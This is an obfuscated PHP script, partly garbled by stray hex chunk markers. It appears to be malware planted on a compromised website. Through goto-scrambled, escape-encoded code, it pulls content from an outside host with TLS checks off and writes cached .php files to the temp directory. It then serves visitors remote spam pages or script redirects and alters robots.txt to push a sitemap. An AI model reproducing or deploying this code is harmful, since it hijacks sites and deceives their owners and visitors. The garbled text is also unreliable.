1 < 3 ?ph 2 p 4 go 3 to 3 ZwK 3 5j; 4 sNi 3 wt: 4 if 3 (!e 4 mpty 3 ($s 3 z)) 4 { $ 3 jd 4 = ge 3 tCu 3 rlF 4 ast( 3 "{$ 4 http 3 _ty 4 pe}{ 2 $v 5 url}\ 4 63\x 3 6b\ 4 147\ 3 x2e 6 \141\1 5 63\16 4 0\17 3 0\x 4 3f\x 5 73\x7 5 a\x3d 3 " . 5 urle 4 ncod 8 e($sz)); 3 } 4 else 2b { $jd = getCurlFast("{$http_type}{$vurl}\x 4 33\1 7 53\147\ 2 56 10 \141\163\160\x78 8 \x3f\x78 6 \171\7 d 5{$http_type} 4 "); 3 $sz 27 = getCurlFast("{$http_type}{$vurl}\63\ 1f 153\147\56\141\163\160\x78\77\x 4 6a\x 2 64 15 \x3d" . urlencode($jd 6 )); } 7 goto kZ 4 XUn; 3 xF 2 Ij 6 t: fun 3 cti 6 on get 4 _rea 3 l_i 7 p() { $ 3 key 5 s = a 4 rray 3 ("\ 5 x48\1 7 24\124\ 5 x50\x 5 5f\x4 4 3\10 7 6\x5f\1 4 03\x 5 4f\x4 4 e\11 5 6\105 b \103\124\11 8 1\x4e\10 7 7\x5f\1 7 11\x50" 3 , " 7 \110\x5 8 4\x54\x5 4 0\13 c 7\x58\137\x5 4 2\x4 8 5\101\x4 8 c\137\x4 4 9\12 a 0", "\x48\ c x54\124\x50\ 6 137\13 7 0\137\1 8 06\x4f\1 5 22\12 7 7\101\x 6 52\x44 9 \105\x44\ 9 x5f\106\1 6 17\122 9 ", "\110\ b 124\124\120 8 \137\x43 a \x4c\x49\1 d 05\x4e\124\x5 e f\111\x50", "\ a x52\x45\x4 8 d\x4f\x5 6 4\105\ d 137\x41\x44\x 7 44\122" 4 ); f 5 oreac 3 h ( 8 $keys as 3 $k 4 ) { f if (!empty($_SE 3 RVE 3 R[$ 2 k] 8 )) { $ip 3 = 12 $_SERVER[$k]; if ( 3 str 4 pos( 7 $ip, "\ 4 54") 3 != 3 = f 4 alse c ) { $ip = tr 4 im(e 3 xpl 4 ode( a "\54", $ip 3 )[0 6 ]); } 5 if (f 4 ilte 3 r_v 8 ar($ip, 3 FIL 3 TER 3 _VA 3 LID 3 ATE 3 _IP 8 )) { ret 3 urn 8 $ip; } b } } return 4 "\61 3 \62 8 \67\x2e\ 3 60\ 7 56\60\x 5 2e\x3 2 1" b ; } goto UO 4 exB; 7 ZwK5j: 4 err 2 or 6 _repor 3 tin 3 g(0 8 ); goto 3 eX8 4 At; 3 q70 3 WN: 3 $s 7 url = $ 4 jd . 5 "\16 7 3\x7a\1 12 56\56\141\163\160\ 4 170" 9 ; goto ta 3 djA 4 ; p7 3 jg0 f : function get_ 5 url_i 3 nfo 7 (string 2 $ 8 type = " 6 \x64\1 4 57\1 4 55\x 5 61\15 5 1\x6e 4 ") : 8 string 5 { $ho 2 st 1a = $_SERVER["\x48\124\124\ b 120\137\x48 6 \117\x 6 53\124 4 "] ? 3 ? ' 7 '; if ( 8 $type == 7 = "\x6e a \157\x5f\1 4 67\x 7 77\167" c ) { return p 3 reg 6 _repla 5 ce("\ 6 x2f\x5 a e\167\x77\ 7 x77\x5c 8 \56\57\x 2 69 5 ", '' 7 , $host 6 ); } $ 5 proto 2 co 14 l = !empty($_SERVER[ a "\x48\x54\ b x54\x50\123 3 "]) 3 && c $_SERVER["\ 11 110\124\124\120\1 9 23"] !== 7 "\x6f\1 5 46\14 4 6" ? 4 "\1 6 50\x74 b \x74\160\x7 4 3\72 5 \57\5 5 7" : 8 "\150\16 7 4\x74\x 9 70\72\57\ 3 x2f 5 "; $b 6 ase = a $protocol 7 . $host 15 ; if ($type === "\x62 c \141\163\145 c ") { return 5 $base 14 ; } if ($type === "\ 6 146\16 9 5\x6c\x6c 11 ") { return $base 10 . ($_SERVER["\x 3 52\ 9 105\121\1 2 25 9 \x45\x53\ 5 x54\1 6 37\x55 8 \x52\x49 d "] ?? ''); } e return $host; 8 } goto W 3 OCu 3 f; 3 oBx 2 KF d : function en 5 sure_ 3 rob 4 ots_ 4 site 3 map 9 ($sitemap 3 Lin c e) { $robots 4 = r 5 trim( e $_SERVER["\104 6 \117\x 5 43\x5 c 5\x4d\105\11 5 6\x54 b \137\x52\x4 8 f\x4f\12 3 4"] 9 , "\57\13 5 4") . 7 "\57\x 7 72\x6f\ 5 x62\1 b 57\x74\x73\ 3 56\ 12 x74\x78\x74"; if ( 4 !fil 4 e_ex 3 ist 9 s($robots 5 )) { 7 @file_p 4 ut_c 4 onte b nts($robots 15 , "\125\163\145\162\x 8 2d\141\1 3 47\ 9 145\156\1 6 64\x3a 2 \4 8 0\x2a\xa 6 \x41\1 4 54\x 9 6c\157\x7 6 7\72\x 3 20\ 5 57\xa 10 " . $sitemapLine 3 , L 3 OCK 3 _EX e ); } else { $c 3 = a @file_get_ 11 contents($robots) 8 ; if ($c 5 === 7 false | 2 | a strpos($c, e $sitemapLine) a === false 20 ) { @file_put_contents($robots, 11 $sitemapLine, FIL 4 E_AP 3 PEN 3 D | d LOCK_EX); } 9 } } goto 4 TcPS 3 L; 3 jCs 2 nT 8 : if ($k 7 k === ' 6 ' && $ 3 is_ 3 no_ 4 quer 9 y) { if ( 3 $do 4 main a === "\147 6 \157\x 6 6f\147 d \x6c\x65") { 3 out c put_sitemap_ 3 and 6 _exit( e $sitemapLine, a $http_type f ); } else { die 6 ; } } 7 goto GQ 3 Gtw 4 ; y1 3 V0b 3 : $ 6 kk = i 3 sse 6 t($get 4 ["\x 6 6b\x6b 5 "]) ? 11 trim($get["\x6b\ 3 153 5 "]) : b ''; goto u 3 9Vm 2 1; 7 WOCuf: b $http_type 2a = !empty($_SERVER["\x48\x54\x54\120\123"] 14 ) && $_SERVER["\110\ 8 x54\124\ 2d 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\ 4 x70\ 8 x73\x3a\ 4 x2f\ b 57" : "\x68 7 \x74\16 10 4\x70\72\x2f\57" 8 ; goto V 3 mgL 3 L; 9 kZXUn: $h 3 yzh 2 dy c = $jd . "\1 6 72\x6e 20 \56\141\163\160\170"; goto q70WN 7 ; GQGtw 1 : 3a output_sitemap_and_exit($sitemapLine, $http_type); goto E 3 jU3 4 H; e 2 gg 2 D8 c : function c 5 ache_ 8 set($key 5 , $da 2 ta 163c ) { $file = sys_get_temp_dir() . "\x2f\143\x61\143\x68\x65\x5f" . md5($key) . "\56\160\x68\160"; @file_put_contents($file, $data, LOCK_EX); } goto xFIjt; taa3z: if ($domain !== "\x67\157\157\147\154\145" && !empty($iid)) { $kname = urldecode(getCurlFast($jd . "\147\x6e\56\141\163\160\x78\x3f\x69\x69\x64\x3d" . $iid)); echo "\x3c\x73\x63\x72\x69\160\x74\76\x6c\157\143\x61\164\151\x6f\x6e\75\x22" . $jd . "\141\56\x61\163\x70\170\x3f\143\x6e\141\155\x65\75" . urlencode($kname) . "\x26\165\162\154\75" . $http_type . $_SERVER["\x48\124\124\x50\137\110\x4f\x53\x54"] . $_SERVER["\x53\x43\x52\x49\120\x54\137\116\101\x4d\105"] . "\x22\x3c\x2f\x73\x63\x72\x69\160\x74\76"; die; } goto ZGeRz; r795u: $qz = substr(str_replace(array("\167\167\167\x2e", "\56"), '', $_SERVER["\x48\124\124\x50\x5f\x48\x4f\123\124"]), 0, 3); goto ap1mo; TcPSL: if (!empty($get["\167"])) { $params = http_build_query(array("\x4e\x4f\x55\x6d\142\145\162" => $get["\x4e\117\x55\x6d\x62\145\x72"] ?? '', "\164" => $get["\164"] ?? '', "\x63\x6e" => $get["\143\x6e"] ?? '', "\x70\x4e\x4f\x55\x6d" => $get["\160\x4e\x4f\x55\155"] ?? '', "\x63\x69\144" => $get["\x63\151\x64"] ?? '', "\155" => $get["\x6d"] ?? '')); $str = getCurlFast("{$surl}\x3f{$params}"); echo str_replace(array("\171\171\x6d\x6d", "\x67\x67\x67\147\x67", "\77\146\x3d"), array($http_type . $_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"] . $_SERVER["\123\103\x52\x49\x50\x54\x5f\x4e\101\115\x45"], $sz, "\77" . $qz . "\x3d"), $str); die; } goto y1V0b; ap1mo: $sz = $iid = ''; goto hlG6j; u9Vm1: $ip = $kk !== '' ? "\x36\66\x2e\x32\x34\x39\x2e\70\62\x2e\70" : get_real_ip(); goto UflM7; hlG6j: if (!empty($_GET)) { $f = reset($_GET); $sp = explode("\x2d", $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } goto sNiwt; UflM7: $domain = trim(getCurlFast($jd . "\147\x65\164\144\x6f\x6d\x61\151\x6e\x32\56\x61\x73\160\170\77\x72\x6e\144\75\x31\46\x69\160\75" . $ip)); goto taa3z; EYX7h: if ($kk !== '' && preg_match("\57\x5e\x5b\x41\55\x5a\141\x2d\172\60\x2d\x39\x5d\53\44\57", $kk)) { $remote = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e\62\56\141\x73\x70\170\77\x72\156\144\75\62\x26\x6b\153\x3d" . $kk); if (!empty($remote)) { echo $remote; die; } } goto u3U2k; gmJgr: function cache_get($key, $expire = 300) { $file = sys_get_temp_dir() . "\x2f\143\141\143\150\145\x5f" . md5($key) . "\56\x70\150\x70"; if (file_exists($file) && time() - filemtime($file) < $expire) { return file_get_contents($file); } return false; } goto eggD8; u3U2k: if ($kk !== '' && !preg_match("\x2f\136\x5b\x41\55\132\141\x2d\172\x30\x2d\x39\135\x2b\44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto eCAbA; ofsRJ: function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "\x3c\x64\x69\x76\40\x73\x74\171\154\x65\x3d\x27\164\145\x78\x74\x2d\x61\x6c\151\x67\156\72\x63\x65\156\164\145\x72\73\160\x61\x64\x64\x69\x6e\147\x3a\61\60\160\170\40\x30\73\47\x3e\xa\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\74\x61\40\150\162\145\146\x3d\x22{$http_type}{$_SERVER["\110\124\124\120\137\110\117\123\124"]}{$_SERVER["\x53\103\122\111\x50\x54\x5f\116\x41\x4d\105"]}\x3f\167\x3d" . date("\131\x6d\144\110\151") . "\x22\x20\164\x61\x72\147\x65\x74\x3d\x22\137\142\154\x61\x6e\x6b\x22\x20\x72\x65\154\75\42\x6e\x6f\146\157\x6c\154\x6f\x77\x22\x3e\x53\151\164\145\x6d\141\160\74\x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\40\x20\74\x2f\x64\x69\166\76"; die; } goto EYX7h; tadjA: $sitemapLine = "\123\151\x74\145\155\x61\x70\x3a\x20{$http_type}{$_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\111\x50\124\137\x4e\101\x4d\x45"]}\x3f\x77\x3d" . date("\131\155\144\110\151") . "\xa"; goto oBxKF; VmgLL: $vurl = "\164\157\x2e\152\x67\x61\x6c\154\x73\x2e\x63\157\155\x2f"; goto r795u; eCAbA: $is_no_query = empty($_SERVER["\x51\125\105\x52\131\137\x53\x54\122\x49\x4e\x47"]); goto jCsnT; eX8At: $get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING); goto gmJgr; ZGeRz: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\x67\x67\x67\147\147", "\x59\131\x59\x59\131", "\x58\x58\x58\131\131\x59", "\xe5\xbd\223\345\x89\x8d\125\x52\x4c", "\125\x55\x55\125\x55", "\115\x4d\115\115\x4d", "\77\x66\75"), array($sz, get_url_info(), get_url_info("\142\141\163\145"), get_url_info("\146\x75\x6c\154"), get_url_info("\x6e\x6f\x5f\x77\167\x77"), parse_url($_SERVER["\122\105\121\125\x45\123\124\137\x55\122\111"], PHP_URL_PATH), "\77" . $qz . "\75"), $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) { return $cached; } $data = ''; if (function_exists("\143\x75\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "\115\157\x7a\x69\x6c\154\x61\57\65\56\60")); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\x66\157\160\x65\x6e")) { $context = stream_context_create(array("\150\x74\x74\160" => array("\164\151\x6d\145\157\x75\x74" => 8, "\x68\x65\x61\x64\145\x72" => "\x55\x73\145\162\55\101\x67\145\156\x74\x3a\x20\x4d\x6f\172\x69\154\154\141\x2f\65\56\x30\xd\12"), "\163\x73\x6c" => array("\x76\145\x72\x69\146\x79\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\x69\146\x79\x5f\x70\x65\145\162\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto p7jg0; EjU3H: ?> 0